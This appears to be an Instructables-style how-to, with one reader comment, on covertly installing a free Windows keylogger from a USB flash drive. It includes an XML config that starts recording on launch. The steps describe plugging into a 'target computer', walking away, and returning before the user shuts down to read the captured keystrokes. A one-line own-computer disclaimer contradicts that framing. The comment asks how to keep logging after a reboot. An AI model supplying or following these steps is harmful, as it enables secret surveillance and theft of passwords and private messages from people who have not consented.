Introduction: Easily Set Up a Free Keylogger From USB Flash Drive

A 'keylogger' is a piece of software which secretly records every keystroke that is typed, while running in the background on a computer. Most keyloggers cost a lot of money, however, there is a free program called 'Shadow Keylogger'. In this instructable, I will explain how to load this freeware keylogger onto a flash drive, and deploy it on any computer easily and quickly. Assuming you already have a flash drive, creating this keylogger won't cost anything.

It is important to note that in some countries, including the U.S., covertly intercepting electronic information is against the law. This guide is therefore intended to instruct you on how to use a keylogger on your own computer.

Step 1: You Will Need...

For this guide you will need a few things first:

+ A cheap memory stick / USB flash drive (any capacity)
+ Shadow Keylogger (free) which you can download from here
+ The computer you want to record (i.e, your own)

Step 2: A Few More Things Before We Start...

You will also need to ensure that the computer you want to record:

+ Is running some version of Windows (this will not work on Mac or Linux)
+ Has the .NET Framework 2.0 or later (almost all do, but if not you can download free from here)

Step 3: Download Shadow Keylogger

We will need to set things up on the USB Flash Drive first, so on another computer, plug in your Flash Drive and open it through 'My Computer' or it may pop up a small window automatically. Leave this window open.

Now, download the keylogger from this link. This will download a .ZIP folder, which you will need to open. Inside the folder there will be a file called 'sk.exe', this is the keylogger program.

Click on the program and drag it across into your USB Flash Drive. Once it has been copied, you can close the .ZIP folder.

Step 4: Create an Automatic Setup File

Although the program will run fine at the moment, when you open Shadow Keylogger, you will have to create a password in order to start recording. However, this will take a little bit of time, which you may not have. So Shadow Keylogger has a clever feature where you can tell it to run automatically with a few pre-defined settings. For a full guide on how to create one of these files, you can watch our YouTube video.

In this guide, I will show you how you can configure it to start recording automatically. Open Notepad, or any other half-decent text editor, then copy this block of XML and paste it into your document:

<?xml version="1.0" encoding="UTF-8" ?>
<config>
<Password>password123</Password>
<StartRecordingImmediately>1</StartRecordingImmediately>
<AccessMode>Automatic</AccessMode>
<AccessIcon></AccessIcon>
<IncludeTimestamp>1</IncludeTimestamp>
<SaveKeystrokes>0</SaveKeystrokes>
<SaveKeystrokesDir></SaveKeystrokesDir>
<SaveKeystrokesRate></SaveKeystrokesRate>
<TakeScreenshots>0</TakeScreenshots>
<TakeScreenshotsDir></TakeScreenshotsDir>
<TakeScreenshotsRate></TakeScreenshotsRate>
<TakeScreenshotsQuality></TakeScreenshotsQuality>
</config>

I have highlighted the password bit above, since this is where you enter your own password. You will need to remember the password you chose, because after you have finished recording, you need to type it on the keyboard to see all of the recorded keystrokes.

For this guide, you don't need to change any of the other values. If you are interested in further tweaking these values, I would also recommend having a look at the configuration template and values list.

Lastly, click 'Save As' and navigate to the USB Flash Drive and make sure it is in exactly the same folder as the program (sk.exe). Save the file as 'config.xml' (without the quotation marks) and make sure the dropdown menu is changed to 'All Files', and not 'Text files'. Then hit 'Save'!

Step 5: Now Try It!

You're done! Now, just pull the USB Flash Drive out of your computer. Approach the target computer, plug the USB Flash Drive in any available port.

On some computers, it may open the drive folder automatically, on others it may have a small prompt box, where you need to click on the 'Open Files and Folders' option. In a handful of cases, you may even need to open 'My Computer'.

When the drive folder opens, just double-click on the 'sk.exe', or click it and hit enter.

Shadow Keylogger will open immediately, realise you've already given it a password, and just start recording automatically.

You can then immediately pull out your USB Flash Drive from the computer. The folder will close automatically, and you can walk away.

Return later (for this particular setup, it has to be before the user shuts the computer down) and simply type your password onto the keyboard, it doesn't matter where.

The results window will then appear with all of the recorded keystrokes.

Comments

author
Eptastic (author)2013-01-01

I was wondering how to keep key logging even after the user restarts their computer?

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Bio: Shadow Keylogger is a free, simple and safe keylogger for Windows which lets you record keyboard and screen activity secretly. As well as being highly ... More »
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